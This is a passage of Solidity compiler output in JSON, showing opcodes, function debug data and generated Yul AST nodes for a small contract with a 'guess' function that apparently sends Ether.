JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x180 DUP2 PUSH2 0x15A JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x19C JUMPI PUSH2 0x19B PUSH2 0x14B JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x1AA DUP5 DUP3 DUP6 ADD PUSH2 0x171 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x1ED DUP3 PUSH2 0x150 JUMP JUMPDEST SWAP2 POP PUSH2 0x1F8 DUP4 PUSH2 0x150 JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x20B JUMPI PUSH2 0x20A PUSH2 0x1B3 JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x23B PUSH2 0x236 DUP3 PUSH2 0x216 JUMP JUMPDEST PUSH2 0x220 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x25C PUSH2 0x257 DUP3 PUSH2 0x150 JUMP JUMPDEST PUSH2 0x241 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x26E DUP3 DUP6 PUSH2 0x22A JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP2 POP PUSH2 0x27E DUP3 DUP5 PUSH2 0x24B JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP2 POP DUP2 SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x2A9 PUSH1 0x0 DUP4 PUSH2 0x28E JUMP JUMPDEST SWAP2 POP PUSH2 0x2B4 DUP3 PUSH2 0x299 JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x2CA DUP3 PUSH2 0x29C JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x31B PUSH1 0x14 DUP4 PUSH2 0x2D4 JUMP JUMPDEST SWAP2 POP PUSH2 0x326 DUP3 PUSH2 0x2E5 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x34A DUP2 PUSH2 0x30E JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH18 0xE639894F1C81B2F5D691642DA83E4CA4A905 LOG2 NUMBER PUSH28 0xA26D00991745510AE2E64736F6C634300080C003300000000000000 ",
"sourceMap": "58:394:0:-:0;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@guess_50": {
"entryPoint": 76,
"id": 50,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_uint256": {
"entryPoint": 369,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 390,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack": {
"entryPoint": 554,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack": {
"entryPoint": 782,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 668,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack": {
"entryPoint": 587,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_packed_t_bytes32_t_uint256__to_t_bytes32_t_uint256__nonPadded_inplace_fromStack_reversed": {
"entryPoint": 610,
"id": null,
"parameterSlots": 3,
"returnSlots": 1
},
"abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed": {
"entryPoint": 703,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 817,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 654,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_string_memory_ptr_fromStack": {
"entryPoint": 724,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_sub_t_uint256": {
"entryPoint": 482,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_bytes32": {
"entryPoint": 534,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 336,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"leftAlign_t_bytes32": {
"entryPoint": 544,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"leftAlign_t_uint256": {
"entryPoint": 577,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"panic_error_0x11": {
"entryPoint": 435,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 331,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb": {
"entryPoint": 741,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470": {
"entryPoint": 665,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 346,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:4597:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
"src": "7:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "379:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "389:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "400:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "389:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "361:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "371:7:1",
"type": ""
}
],
"src": "334:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "460:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "517:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "526:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "529:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "519:6:1"
},
"nodeType": "YulFunctionCall",
"src": "519:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "519:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "483:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "508:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "490:17:1"
},
"nodeType": "YulFunctionCall",
"src": "490:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "480:2:1"
},
"nodeType": "YulFunctionCall",
"src": "480:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "473:6:1"
},
"nodeType": "YulFunctionCall",
"src": "473:43:1"
},
"nodeType": "YulIf",
"src": "470:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "453:5:1",
"type": ""
}
],
"src": "417:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "597:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "607:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "629:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "616:12:1"
},
"nodeType": "YulFunctionCall",
"src": "616:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "607:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "672:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "645:26:1"
},
"nodeType": "YulFunctionCall",
"src": "645:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "645:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "575:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "583:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "591:5:1",
"type": ""
}
],
"src": "545:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "756:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "802:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "804:77:1"
},
"nodeType": "YulFunctionCall",
"src": "804:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "804:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "777:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "786:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "773:3:1"
},
"nodeType": "YulFunctionCall",
"src": "773:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "798:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "769:3:1"
},
"nodeType": "YulFunctionCall",
"src": "769:32:1"
},
"nodeType": "YulIf",
"src": "766:119:1"
},
{
"nodeType": "YulBlock",
"src": "895:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "910:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "924:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "914:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "939:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "974:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "985:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "970:3:1"
},
"nodeType": "YulFunctionCall",
"src": "970:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "994:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "949:20:1"
},
"nodeType": "YulFunctionCall",
"src": "949:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "939:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "726:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "737:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "749:6:1",
"type": ""
}
],
"src": "690:329:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1053:152:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1070:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1073:77:1",
"type": "",
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1063:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1063:88:1"
},
"nodeType": "YulExpressionStatement",
"src": "1063:88:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1167:1:1",
"type": "",
"value": "4"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1170:4:1",
"type": "",
"value": "0x11"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1160:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1160:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "1160:15:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1191:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1194:4:1",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1184:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1184:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "1184:15:1"
}
]
},
"name": "panic_error_0x11",
"nodeType": "YulFunctionDefinition",
"src": "1025:180:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1256:146:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1266:25:1",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1289:1:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1271:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1271:20:1"
},
"variableNames": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1266:1:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "1300:25:1",
"value": {
"arguments": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1323:1:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1305:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1305:20:1"
},
"variableNames": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1300:1:1"
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "1347:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x11",
"nodeType": "YulIdentifier",
"src": "1349:16:1"
},
"nodeType": "YulFunctionCall",
"src": "1349:18:1"
},
"nodeType": "YulExpressionStatement",
"src": "1349:18:1"
}
]
},
"condition": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1341:1:1"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1344:1:1"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "1338:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1338:8:1"
},
"nodeType": "YulIf",
"src": "1335:34:1"
},
{
"nodeType": "YulAssignment",
"src": "1379:17:1",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1391:1:1"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1394:1:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1387:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1387:9:1"
},
"variableNames": [
{
"name": "diff",
"nodeType": "YulIdentifier",
"src": "1379:4:1"
}
]
}
]
},
"name": "checked_sub_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "x",
"nodeType": "YulTypedName",
"src": "1242:1:1",
"type": ""
},
{
"name": "y",
"nodeType": "YulTypedName",
"src": "1245:1:1",
"type": ""
}
],
"returnVariables": [
{
"name": "diff",
"nodeType": "YulTypedName",
"src": "1251:4:1",
"type": ""
}
],
"src": "1211:191:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1453:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1463:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1474:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1463:7:1"
}
]
}
]
},
"name": "cleanup_t_bytes32",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1435:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1445:7:1",
"type": ""
}
],
"src": "1408:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1538:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1548:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1559:5:1"
},
"variableNames": [
{
"name": "aligned",
"nodeType": "YulIdentifier",
"src": "1548:7:1"
}
]
}
]
},
"name": "leftAlign_t_bytes32",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1520:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "aligned",
"nodeType": "YulTypedName",
"src": "1530:7:1",
"type": ""
}
],
"src": "1491:79:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1659:74:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1676:3:1"
},
{
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1719:5:1"
}
],
"functionName": {
"name": "cleanup_t_bytes32",
"nodeType": "YulIdentifier",
"src": "1701:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1701:24:1"
}
],
"functionName": {
"name": "leftAlign_t_bytes32",
"nodeType": "YulIdentifier",
"src": "1681:19:1"
},
"nodeType": "YulFunctionCall",
"src": "1681:45:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1669:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1669:58:1"
},
"nodeType": "YulExpressionStatement",
"src": "1669:58:1"
}
]
},
"name": "abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1647:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1654:3:1",
"type": ""
}
],
"src": "1576:157:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1786:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1796:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1807:5:1"
},
"variableNames": [
{
"name": "aligned",
"nodeType": "YulIdentifier",
"src": "1796:7:1"
}
]
}
]
},
"name": "leftAlign_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1768:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "aligned",
"nodeType": "YulTypedName",
"src": "1778:7:1",
"type": ""
}
],
"src": "1739:79:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1907:74:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1924:3:1"
},
{
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1967:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1949:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1949:24:1"
}
],
"functionName": {
"name": "leftAlign_t_uint256",
"nodeType": "YulIdentifier",
"src": "1929:19:1"
},
"nodeType": "YulFunctionCall",
"src": "1929:45:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1917:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1917:58:1"
},
"nodeType": "YulExpressionStatement",
"src": "1917:58:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1895:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1902:3:1",
"type": ""
}
],
"src": "1824:157:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2131:253:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "2204:6:1"
},
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2213:3:1"
}
],
"functionName": {
"name": "abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "2142:61:1"
},
"nodeType": "YulFunctionCall",
"src": "2142:75:1"
},
"nodeType": "YulExpressionStatement",
"src": "2142:75:1"
},
{
"nodeType": "YulAssignment",
"src": "2226:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2237:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2242:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2233:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2233:12:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2226:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value1",
"nodeType": "YulIdentifier",
"src": "2317:6:1"
},
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2326:3:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "2255:61:1"
},
"nodeType": "YulFunctionCall",
"src": "2255:75:1"
},
"nodeType": "YulExpressionStatement",
"src": "2255:75:1"
},
{
"nodeType": "YulAssignment",
"src": "2339:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2350:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2355:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2346:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2346:12:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2339:3:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "2368:10:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2375:3:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "2368:3:1"
}
]
}
]
},
"name": "abi_encode_tuple_packed_t_bytes32_t_uint256__to_t_bytes32_t_uint256__nonPadded_inplace_fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2102:3:1",
"type": ""
},
{
"name": "value1",
"nodeType": "YulTypedName",
"src": "2108:6:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "2116:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "2127:3:1",
"type": ""
}
],
"src": "1987:397:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2503:34:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2513:18:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2528:3:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "2513:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2475:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2480:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "2491:11:1",
"type": ""
}
],
"src": "2390:147:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2649:8:1",
"statements": []
},
"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "2641:6:1",
"type": ""
}
],
"src": "2543:114:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2826:235:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2836:90:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2919:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2924:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "2843:75:1"
},
"nodeType": "YulFunctionCall",
"src": "2843:83:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2836:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3024:3:1"
}
],
"functionName": {
